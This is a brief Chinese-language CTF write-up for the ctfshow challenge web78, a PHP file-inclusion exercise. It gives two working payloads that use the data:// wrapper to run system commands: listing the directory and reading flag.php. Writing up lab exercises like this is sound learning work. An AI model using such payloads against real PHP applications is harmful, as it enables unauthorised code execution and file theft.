ctfshow web78

• 题号：web78
• 难度：⭐
• 考点：文件包含（include文件包含的关键函数）
• 日期：2026-8-30

题目描述

发现题目存在include文件包含的关键函数

解题思路

1.先用data伪装协议去查看当前目录下的文件 2.然后再用data伪协议去执行查看flag.php的命令

Payload / 关键操作

1.?file=data://text/plain,<?php system('ls') ?>
2.?file=data://text/plain,<?php system('tac flag.php') ?>

复现截图

1. 2.

对应课程章节

文件包含漏洞

踩坑记录 / 复盘

无，easy